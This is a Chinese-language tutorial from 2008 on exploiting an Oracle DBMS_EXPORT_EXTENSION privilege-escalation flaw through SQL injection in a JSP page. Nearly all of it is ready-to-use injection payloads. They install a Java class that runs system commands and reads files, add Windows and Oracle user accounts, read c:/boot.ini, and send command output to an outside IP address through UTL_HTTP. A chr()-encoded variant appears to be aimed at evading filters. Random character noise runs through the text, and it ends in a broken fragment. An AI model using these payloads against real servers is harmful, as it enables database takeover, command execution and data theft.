以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
* Q' U$ E8 W' ^% R0 ]1 d; p+ h+ g0 m2 o2 z: U) \' j
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) ; g" R1 K/ s$ w R( ?# }
的形式即可。(用" 'a'|| "是为了让语句返回true值) ( l0 T6 w5 K* C) Z; m* z# V& o
语句有点长,可能要用post提交。
2 h3 ]9 a. L+ B以下是各个步骤:
. i+ l" `8 t' A: T8 T( t( K2 }1.创建包
4 @6 Y$ m7 j" O通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
9 m3 n4 W; l% m t0 ?' k/xxx.jsp?id=1 and '1'<>'a'||( 6 j' x! j4 F" N" }0 U0 [# f
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''1 L* T; U2 ^+ J3 f$ l" _& m
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
7 F6 y# b' h' m% y2 Rnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
- \+ y3 E* [: m% H}'''';END;'';END;--','SYS',0,'1',0) from dual 2 g# L8 F, d: S" c" d f
)
+ z/ C! P% v- X" s# L! m------------------------ + `$ F8 O6 L1 Q- B9 v, j* T! V
如果url有长度限制,可以把readFile()函数块去掉,即: 8 G4 r$ a7 O T* Y6 s
/xxx.jsp?id=1 and '1'<>'a'||( 2 v' r3 H; g; d, m. g* o& l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% p% B Y u, O3 N; Z* k) m, `create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(' t$ f$ L0 ?) b! P! C7 s6 a6 c
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}# O( [" S9 F1 ?$ a& f
}'''';END;'';END;--','SYS',0,'1',0) from dual
: |# S, N3 Q3 C3 V)
' x# D9 \" f2 B. U( m! L/ q2 }1 |同时把后面步骤 提到的 对readFile()的处理语句去掉。 0 G1 X4 N) y* e
------------------------------
; d0 w3 [1 q* G- J" i" a2.赋Java权限 . K4 [; G6 C3 ?! L/ p
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
! J9 G$ Y" K: Q1 F2 v% f9 G& l3.创建函数 / g# f. p0 } S6 g
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; E1 |% T k5 D( S9 Ncreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual7 J i/ b/ x- Z' {
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 c. ^% F6 s- l% e
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
* r" a6 c$ Q. @; K# R4.赋public执行函数的权限 , V- s9 c5 i& F. L9 Z. X4 \
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
, y. p2 z4 r! eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
7 Q% O. X# ^3 ]$ n5.测试上面的几步是否成功 6 i+ K) s1 s4 B; B! C* J) [- X
and '1'<>'11'||( : v5 ^8 C* s, g0 c
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
6 f# }" q u' r, t)
' V* @3 ~4 f; ]% H: Sand '1'<>(
) t! u+ A- V& X) aselect OBJECT_ID from all_objects where object_name ='LINXREADFILE' . a7 t0 q, W: c4 s- {/ ?
) : e* B' r. G9 \) b* ^
6.执行命令:
) @( f7 p, g/ o' c& l/xxx.jsp?id=1 and '1'<>(
' @! a% `! W% d: H3 gselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
; f1 e; u( p" ^+ H `7 H
3 _; A& v9 S6 n3 N)
" e' |8 ] D3 j- L. ?5 s6 F( i/xxx.jsp?id=1 and '1'<>(
" F3 D5 I5 w" L7 Cselect sys.LinxReadFile('c:/boot.ini') from dual r+ r' I; p2 y
) b& I9 E3 S9 V* w, L
)/ @/ }# \+ f+ N: q" ?* W* y
. m5 N+ T4 p9 t! C6 D3 T0 u! l注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
, y8 Q6 a/ r! N# `: ^2 o, v2 |& S+ R如果要查看运行结果可以用 union : ( q/ @" Z0 Z! J2 C; J& n; C7 G1 u6 ]$ ^
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
$ j) Z3 i, K. M' m或者UTL_HTTP.request(:
+ i4 t, [- y6 E1 @/xxx.jsp?id=1 and '1'<>(
6 S) h1 B5 i' r( fSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
- H- W; q, V& y9 A) , u$ h; T, `6 Q, ` P' e- v2 ^, Q
/xxx.jsp?id=1 and '1'<>( 1 _8 d2 @( V" n' h
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
8 ]/ j, U+ W( O) d/ {6 U6 q)
2 l5 z" l: r0 a- ^6 N H注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。% f; L1 [4 W; I; }" b. w
--------------------
+ S, ]) Y; s x, c6.内部变化
: k, l2 @. a# i, i- h ^通过以下命令可以查看all_objects表达改变:
. c9 Y. d" |5 hselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'8 v; Y# z- d2 R; L# i. q- m
7.删除我们创建的函数 & |( g6 p) G, S; b- } y9 H
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ w0 {) e- V8 b6 q; n, P
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
6 s) `1 k5 N5 M/ C====================================================
' k6 a) K C% ^. `$ W4 ?$ c全文结束。谨以此文赠与我的朋友。 " K! t5 T9 G% p& L! m. E
linx & @5 p! b1 G9 R# |+ G
124829445
1 K" r3 o. f5 @# H9 B* |' \2008.1.12 8 L9 u- n7 k: d0 k6 v
linyujian@bjfu.edu.cn 0 X6 j; u2 t, a, R0 L; e
======================================================================
; t0 ~6 w3 G ?' i4 G4 j: o: J测试漏洞的另一方法:
% v }% \. Y7 i2 W2 ~1 p: O创建oracle帐号:
! w" N7 m& n/ k; s0 B/ zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') Q M# f) g, B( k6 y7 ^8 A
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual' X# D- R9 U, \, M$ ?6 M
即:
6 h: H! d* y3 Q, ]6 Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),6 l& x4 x( X$ A: L( Q! `2 {
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
4 f# s [4 V4 r确定漏洞存在: ; w1 e0 _5 T% g; w2 n
1<>( . f$ B9 H# ]% z+ }7 V- H Z3 s# O" n
select user_id from all_users where username='LINXSQL'
; f2 c: P; }+ ]( \9 u)
, m3 _7 g4 I8 _ l9 n( e3 H6 \给linxsql连接权限:
, r: v: r+ Q' K' i4 Z% N* F, ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# X" d9 ` ]$ ^# l1 g9 G6 X
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
; Z$ p% k0 v: V$ f1 e2 G" q& ?删除帐号:
2 ^5 N/ J/ {9 p' i4 U5 eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''& h/ a9 n% n4 S! i/ [! I
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
. b2 C6 E+ P3 f. l. V; S======================
9 c& w4 W0 R' ~& ]以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
( w, z2 U2 L" c7 Z3 H m9 E! L* z1.jsp?id=1 and '1'<>(
- F; l% U- ]+ W/ d, G- J3 y3 e2 F% o* f$ Oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( c7 D- ?" i) }4 Y2 x
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual9 z: Z Q( R7 x! @" F
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE( F/ a' q4 F N+ d# s9 R4 \8 c" e
); p/ p. c, ?4 t, h9 m
: Y0 ?) ~# m4 P0 d# z- e0 P# l! ~
$ q0 `% k; O, q' D
3 Z6 r% M; w- Q5 B% G6 `) P$ @ |